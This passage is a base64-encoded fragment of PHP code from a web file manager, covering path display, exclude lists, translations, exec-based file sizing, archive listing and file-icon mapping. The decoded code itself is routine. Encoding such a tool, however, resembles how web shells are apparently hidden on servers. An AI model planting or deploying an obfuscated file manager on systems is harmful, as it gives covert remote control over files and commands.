fcGF0aCwgJycsICRmaWxlX3BhdGgpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2hvc3QnOlxuICAgICAgICAgICAgJHJlbGF0aXZlX3BhdGggPSBzdHJfcmVwbGFjZSgkcm9vdF9wYXRoLCAnJywgJGZpbGVfcGF0aCk7XG4gICAgICAgICAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnSG9zdCBQYXRoJyxcbiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCdcLycgLiAkcm9vdF91cmwgLiAnXC8nIC4gbHRyaW0oc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcmVsYXRpdmVfcGF0aCksICdcLycpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2Z1bGwnOlxuICAgICAgICBkZWZhdWx0OlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ0Z1bGwgUGF0aCcsXG4gICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZV9wYXRoKSlcbiAgICAgICAgICAgICk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdFxuICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgbmFtZSBvZiB0aGUgZmlsZVwvZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggb2YgdGhlIGZpbGVcL2ZvbGRlclxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9pc19leGNsdWRlX2l0ZW1zKCRuYW1lLCAkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7XG4gICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkge1xuICAgICAgICB1bnNldCgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuXG4gICAgJGV4Y2x1ZGVfaXRlbXMgPSBGTV9FWENMVURFX0lURU1TO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHtcbiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuICAgIGlmICghaW5fYXJyYXkoJG5hbWUsICRleGNsdWRlX2l0ZW1zKSAmJiAhaW5fYXJyYXkoXCIqLiRleHRcIiwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgkcGF0aCwgJGV4Y2x1ZGVfaXRlbXMpKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGVcbiAqIEBwYXJhbSBpbnQgJHRyXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdHJhbnNsYXRpb25zKCR0cilcbntcbiAgICB0cnkge1xuICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygndHJhbnNsYXRpb24uanNvbicpO1xuICAgICAgICBpZiAoJGNvbnRlbnQgIT09IEZBTFNFKSB7XG4gICAgICAgICAgICAkbG5nID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsIFRSVUUpO1xuICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7XG4gICAgICAgICAgICBmb3JlYWNoICgkbG5nW1wibGFuZ3VhZ2VcIl0gYXMgJGtleSA9PiAkdmFsdWUpIHtcbiAgICAgICAgICAgICAgICAkY29kZSA9ICR2YWx1ZVtcImNvZGVcIl07XG4gICAgICAgICAgICAgICAgJGxhbmdfbGlzdFskY29kZV0gPSAkdmFsdWVbXCJuYW1lXCJdO1xuICAgICAgICAgICAgICAgIGlmICgkdHIpXG4gICAgICAgICAgICAgICAgICAgICR0clskY29kZV0gPSAkdmFsdWVbXCJ0cmFuc2xhdGlvblwiXTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiAkdHI7XG4gICAgICAgIH1cbiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgZWNobyAkZTtcbiAgICB9XG59XG5cblwvKipcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVcbiAqIFJlY292ZXIgYWxsIGZpbGUgc2l6ZXMgbGFyZ2VyIHRoYW4gPiAyR0IuXG4gKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4XG4gKiBAcmV0dXJuIGludHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9zaXplKCRmaWxlKVxue1xuICAgIHN0YXRpYyAkaXN3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkaXNkYXJ3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkZXhlY193b3JrcyA9IG51bGw7XG5cbiAgICBpZiAoJGlzd2luID09PSBudWxsKSB7XG4gICAgICAgICRpc3dpbiA9IHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJztcbiAgICAgICAgJGlzZGFyd2luID0gc3RydG91cHBlcihQSFBfT1MpID09PSAnREFSV0lOJztcbiAgICAgICAgJGV4ZWNfd29ya3MgPSBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09PSAnRVhFQyc7XG4gICAgfVxuXG4gICAgaWYgKCRleGVjX3dvcmtzKSB7XG4gICAgICAgICRhcmcgPSBlc2NhcGVzaGVsbGFyZygkZmlsZSk7XG4gICAgICAgICRjbWQgPSAkaXN3aW4gPyBcImZvciAlRiBpbiAoXFxcIiRmaWxlXFxcIikgZG8gQGVjaG8gJX56RlwiIDogKCRpc2RhcndpbiA/IFwic3RhdCAtZiV6ICRhcmdcIiA6IFwic3RhdCAtYyVzICRhcmdcIik7XG4gICAgICAgIEBleGVjKCRjbWQsICRvdXRwdXQpO1xuXG4gICAgICAgIGlmICghZW1wdHkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoXCJcXG5cIiwgJG91dHB1dCkpKSkge1xuICAgICAgICAgICAgcmV0dXJuICRzaXplO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRpc3dpbiAmJiBjbGFzc19leGlzdHMoJ0NPTScpKSB7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpO1xuICAgICAgICAgICAgJGYgPSAkZnNvYmotPkdldEZpbGUocmVhbHBhdGgoJGZpbGUpKTtcbiAgICAgICAgICAgIGlmIChjdHlwZV9kaWdpdCgkc2l6ZSA9ICRmLT5TaXplKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiAkc2l6ZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpO1xufVxuXG5cblwvKipcbiAqIEdldCBuaWNlIGZpbGVzaXplXG4gKiBAcGFyYW0gaW50ICRzaXplXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKVxue1xuICAgICRzaXplID0gKGZsb2F0KSAkc2l6ZTtcbiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpO1xuICAgICRwb3dlciA9ICgkc2l6ZSA+IDApID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwO1xuICAgICRwb3dlciA9ICgkcG93ZXIgPiAoY291bnQoJHVuaXRzKSAtIDEpKSA/IChjb3VudCgkdW5pdHMpIC0gMSkgOiAkcG93ZXI7XG4gICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgXC8gcG93KDEwMjQsICRwb3dlciksIDIpLCAkdW5pdHNbJHBvd2VyXSk7XG59XG5cblwvKipcbiAqIEdldCBpbmZvIGFib3V0IHppcCBhcmNoaXZlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIGFycmF5fGJvb2xcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dClcbntcbiAgICBpZiAoJGV4dCA9PSAnemlwJyAmJiBmdW5jdGlvbl9leGlzdHMoJ3ppcF9vcGVuJykpIHtcbiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpO1xuICAgICAgICBpZiAoJGFyY2gpIHtcbiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7XG4gICAgICAgICAgICAgICAgJHppcF9uYW1lID0gQHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpO1xuICAgICAgICAgICAgICAgICR6aXBfZm9sZGVyID0gc3Vic3RyKCR6aXBfbmFtZSwgLTEpID09ICdcLyc7XG4gICAgICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gQHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gQHppcF9lbnRyeV9jb21wcmVzc2Vkc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2ZvbGRlcicgPT4gJHppcF9mb2xkZXJcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQHppcF9jbG9zZSgkYXJjaCk7XG4gICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICAgICAgfVxuICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkge1xuICAgICAgICAkYXJjaGl2ZSA9IG5ldyBQaGFyRGF0YSgkcGF0aCk7XG4gICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoIChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigkYXJjaGl2ZSkgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICRwYXJlbnRfaW5mbyA9ICRmaWxlLT5nZXRQYXRoSW5mbygpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoXCJwaGFyOlwvXC9cIiAuICRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3Vic3RyKCR6aXBfbmFtZSwgKCRwb3MgPSBzdHJwb3MoJHppcF9uYW1lLCAnXC8nKSkgIT09IGZhbHNlID8gJHBvcyArIDEgOiAwKTtcbiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpO1xuICAgICAgICAgICAgJHppcF9pbmZvID0gbmV3IFNwbEZpbGVJbmZvKCRmaWxlKTtcbiAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiAkemlwX2luZm8tPmdldFNpemUoKSxcbiAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiAkZmlsZS0+Z2V0Q29tcHJlc3NlZFNpemUoKSxcbiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlclxuICAgICAgICAgICAgKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBFbmNvZGUgaHRtbCBlbnRpdGllc1xuICogQHBhcmFtIHN0cmluZyAkdGV4dFxuICogQHJldHVybiBzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2VuYygkdGV4dClcbntcbiAgICByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkdGV4dCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7XG59XG5cblwvKipcbiAqIFByZXZlbnQgWFNTIGF0dGFja3NcbiAqIEBwYXJhbSBzdHJpbmcgJHRleHRcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KVxue1xuICAgIHJldHVybiAoc3RycGJyaygkdGV4dCwgJ1wvPyUqOnxcIjw+JykgPT09IEZBTFNFKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb25cbiAqIEBwYXJhbSBzdHJpbmcgJG1zZ1xuICogQHBhcmFtIHN0cmluZyAkc3RhdHVzXG4gKlwvXG5mdW5jdGlvbiBmbV9zZXRfbXNnKCRtc2csICRzdGF0dXMgPSAnb2snKVxue1xuICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddID0gJG1zZztcbiAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddID0gJHN0YXR1cztcbn1cblxuXC8qKlxuICogQ2hlY2sgaWYgc3RyaW5nIGlzIGluIFVURi04XG4gKiBAcGFyYW0gc3RyaW5nICRzdHJpbmdcbiAqIEByZXR1cm4gaW50XG4gKlwvXG5mdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpXG57XG4gICAgcmV0dXJuIHByZWdfbWF0Y2goJ1wvXC91JywgJHN0cmluZyk7XG59XG5cblwvKipcbiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3NcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fY29udmVydF93aW4oJGZpbGVuYW1lKVxue1xuICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7XG4gICAgICAgICRmaWxlbmFtZSA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRmaWxlbmFtZSk7XG4gICAgfVxuICAgIHJldHVybiAkZmlsZW5hbWU7XG59XG5cblwvKipcbiAqIEBwYXJhbSAkb2JqXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iailcbntcbiAgICBpZiAoIWlzX29iamVjdCgkb2JqKSAmJiAhaXNfYXJyYXkoJG9iaikpIHtcbiAgICAgICAgcmV0dXJuICRvYmo7XG4gICAgfVxuICAgIGlmIChpc19vYmplY3QoJG9iaikpIHtcbiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTtcbiAgICB9XG4gICAgcmV0dXJuIGFycmF5X21hcCgnZm1fb2JqZWN0X3RvX2FycmF5JywgJG9iaik7XG59XG5cblwvKipcbiAqIEdldCBDU1MgY2xhc3NuYW1lIGZvciBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7XG5cbiAgICBzd2l0Y2ggKCRleHQpIHtcbiAgICAgICAgY2FzZSAnaWNvJzpcbiAgICAgICAgY2FzZSAnZ2lmJzpcbiAgICAgICAgY2FzZSAnanBnJzpcbiAgICAgICAgY2FzZSAnanBlZyc6XG4gICAgICAgIGNhc2UgJ2pwYyc6XG4gICAgICAgIGNhc2UgJ2pwMic6XG4gICAgICAgIGNhc2UgJ2pweCc6XG4gICAgICAgIGNhc2UgJ3hibSc6XG4gICAgICAgIGNhc2UgJ3dibXAnOlxuICAgICAgICBjYXNlICdwbmcnOlxuICAgICAgICBjYXNlICdibXAnOlxuICAgICAgICBjYXNlICd0aWYnOlxuICAgICAgICBjYXNlICd0aWZmJzpcbiAgICAgICAgY2FzZSAnd2VicCc6XG4gICAgICAgIGNhc2UgJ2F2aWYnOlxuICAgICAgICBjYXNlICdzdmcnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3Bhc3N3ZCc6XG4gICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzpcbiAgICAgICAgY2FzZSAnc3FsJzpcbiAgICAgICAgY2FzZSAnanMnOlxuICAgICAgICBjYXNlICd0cyc6XG4gICAgICAgIGNhc2UgJ2pzeCc6XG4gICAgICAgIGNhc2UgJ3RzeCc6XG4gICAgICAgIGNhc2UgJ2hicyc6XG4gICAgICAgIGNhc2UgJ2pzb24nOlxuICAgICAgICBjYXNlICdzaCc6XG4gICAgICAgIGNhc2UgJ2NvbmZpZyc6XG4gICAgICAgIGNhc2UgJ3R3aWcnOlxuICAgICAgICBjYXNlICd0cGwnOlxuICAgICAgICBjYXNlICdtZCc6XG4gICAgICAgIGNhc2UgJ2dpdGlnbm9yZSc6XG4gICAgICAgIGNhc2UgJ2MnOlxuICAgICAgICBjYXNlICdjcHAnOlxuICAgICAgICBjYXNlICdjcyc6XG4gICAgICAgIGNhc2UgJ3B5JzpcbiAgICAgICAgY2FzZSAncnMnOlxuICAgICAgICBjYXNlICdtYXAnOlxuICAgICAgICBjYXNlICdsb2NrJzpcbiAgICAgICAgY2FzZSAnZHRkJzpcbiAgICAgICAgY2FzZSAncHMxJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3R4dCc6XG4gICAgICAgIGNhc2UgJ2luaSc6XG4gICAgICAgIGNhc2UgJ2NvbmYnOlxuICAgICAgICBjYXNlICdsb2cnOlxuICAgICAgICBjYXNlICdodGFjY2Vzcyc6XG4gICAgICAgIGNhc2UgJ3lhbWwnOlxuICAgICAgICBjYXNlICd5bWwnOlxuICAgICAgICBjYXNlICd0b21sJzpcbiAgICAgICAgY2FzZSAndG1wJzpcbiAgICAgICAgY2FzZSAndG9wJzpcbiAgICAgICAgY2FzZSAnYm90JzpcbiAgICAgICAgY2FzZSAnZGF0JzpcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnaHRwYXNzd2QnOlxuICAgICAgICBjYXNlICdwbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3MnOlxuICAgICAgICBjYXNlICdsZXNzJzpcbiAgICAgICAgY2FzZSAnc2Fzcyc6XG4gICAgICAgIGNhc2UgJ3Njc3MnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdiejInOlxuICAgICAgICBjYXNlICd0YnoyJzpcbiAgICAgICAgY2FzZSAndGJ6JzpcbiAgICAgICAgY2FzZSAnemlwJzpcbiAgICAgICAgY2FzZSAncmFyJzpcbiAgICAgICAgY2FzZSAnZ3onOlxuICAgICAgICBjYXNlICd0Z3onOlxuICAgICAgICBjYXNlICd0YXInOlxuICAgICAgICBjYXNlICc3eic6XG4gICAgICAgIGNhc2UgJ3h6JzpcbiAgICAgICAgY2FzZSAndHh6JzpcbiAgICAgICAgY2FzZSAnenN0JzpcbiAgICAgICAgY2FzZSAndHpzdCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtYXJjaGl2ZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdwaHAnOlxuICAgICAgICBjYXNlICdwaHA0JzpcbiAgICAgICAgY2FzZSAncGhwNSc6XG4gICAgICAgIGNhc2UgJ3BocHMnOlxuICAgICAgICBjYXNlICdwaHRtbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2h0bSc6XG4gICAgICAgIGNhc2UgJ2h0bWwnOlxuICAgICAgICBjYXNlICdzaHRtbCc6XG4gICAgICAgIGNhc2UgJ3hodG1sJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3htbCc6XG4gICAgICAgIGNhc2UgJ3hzbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnd2F2JzpcbiAgICAgICAgY2FzZSAnbXAzJzpcbiAgICAgICAgY2FzZSAnbXAyJzpcbiAgICAgICAgY2FzZSAnbTRhJzpcbiAgICAgICAgY2FzZSAnYWFjJzpcbiAgICAgICAgY2FzZSAnb2dnJzpcbiAgICAgICAgY2FzZSAnb2dhJzpcbiAgICAgICAgY2FzZSAnd21hJzpcbiAgICAgICAgY2FzZSAnbWthJzpcbiAgICAgICAgY2FzZSAnZmxhYyc6XG4gICAgICAgIGNhc2UgJ2FjMyc6XG4gICAgICAgIGNhc2UgJ3Rkcyc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdtM3UnOlxuICAgICAgICBjYXNlICdtM3U4JzpcbiAgICAgICAgY2FzZSAncGxzJzpcbiAgICAgICAgY2FzZSAnY3VlJzpcbiAgICAgICAgY2FzZSAneHNwZic6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWhlYWRwaG9uZXMnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2F2aSc6XG4gICAgICAgIGNhc2UgJ21wZyc6XG4gICAgICAgIGNhc2UgJ21wZWcnOlxuICAgICAgICBjYXNlICdtcDQnOlxuICAgICAgICBjYXNlICdtNHYnOlxuICAgICAgICBjYXNlICdmbHYnOlxuICAgICAgICBjYXNlICdmNHYnOlxuICAgICAgICBjYXNlICdvZ20nOlxuICAgICAgICBjYXNlICdvZ3YnOlxuICAgICAgICBjYXNlICdtb3YnOlxuICAgICAgICBjYXNlICdta3YnOlxuICAgICAgICBjYXNlICczZ3AnOlxuICAgICAgICBjYXNlICdhc2YnOlxuICAgICAgICBjYXNlICd3bXYnOlxuICAgICAgICBjYXNlICd3ZWJtJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdlbWwnOlxuICAgICAgICBjYXNlICdtc2cnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1lbnZlbG9wZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICd4bHMnOlxuICAgICAgICBjYXNlICd4bHN4JzpcbiAgICAgICAgY2FzZSAnb2RzJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnc3dwJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY2xpcGJvYXJkJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdkb2MnOlxuICAgICAgICBjYXNlICdkb2N4JzpcbiAgICAgICAgY2FzZSAnb2R0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3BwdCc6XG4gICAgICAgIGNhc2UgJ3BwdHgnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBvd2VycG9pbnQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAndHRmJzpcbiAgICAgICAgY2FzZSAndHRjJzpcbiAgICAgICAgY2FzZSAnb3RmJzpcbiAgICAgICAgY2FzZSAnd29mZic6XG4gICAgICAgIGNhc2UgJ3dvZmYyJzpcbiAgICAgICAgY2FzZSAnZW90JzpcbiAgICAgICAgY2FzZSAnZm9uJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZm9udCc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncGRmJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wZGYtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncHNkJzpcbiAgICAgICAgY2FzZSAnYWknOlxuICAgICAgICBjYXNlICdlcHMnOlxuICAgICAgICBjYXNlICdmbGEnOlxuICAgICAgICBjYXNlICdzd2YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWltYWdlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2V4ZSc6XG4gICAgICAgIGNhc2UgJ21zaSc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmF0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGRlZmF1bHQ6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJztcbiAgICB9XG5cbiAgICByZXR1cm4gJGltZztcbn1cblxuXC8qKlxuICogR2V0IGltYWdlIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoJ2ljbycsICdnaWYnLCAnanBnJywgJ2pwZWcnLCAnanBjJywgJ2pwMicsICdqcHgnLCAneGJtJywgJ3dibXAnLCAncG5nJywgJ2JtcCcsICd0aWYnLCAndGlmZicsICdwc2QnLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpO1xufVxuXG5cLyoqXG4gKiBHZXQgdmlkZW8gZmlsZXMgZXh0ZW5zaW9uc1xuICogQHJldHVybiBhcnJheVxuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X3ZpZGVvX2V4dHMoKVxue1xuICAgIHJldHVybiBhcnJheSgnYXZpJywgJ3dlYm0nLCAnd212JywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnLCAnbWt2Jyk7XG59XG5cblwvKipcbiAqIEdldCBhdWRpbyBmaWxlcyBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfYXVkaW9fZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTtcbn1cblxuXC8qKlxuICogR2V0IHRleHQgZmlsZSBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICd0eHQnLFxuICAgICAgICAnY3NzJyxcbiAgICAgICAgJ2luaScsXG4gICAgICAgICdjb25mJyxcbiAgICAgICAgJ2xvZycsXG4gICAgICAgICdodGFjY2VzcycsXG4gICAgICAgICdwYXNzd2QnLFxuICAgICAgICAnZnRwcXVvdGEnLFxuICAgICAgICAnc3FsJyxcbiAgICAgICAgJ2pzJyxcbiAgICAgICAgJ3RzJyxcbiAgICAgICAgJ2pzeCcsXG4gICAgICAgICd0c3gnLFxuICAgICAgICAnbWpzJyxcbiAgICAgICAgJ2pzb24nLFxuICAgICAgICAnc2gnLFxuICAgICAgIC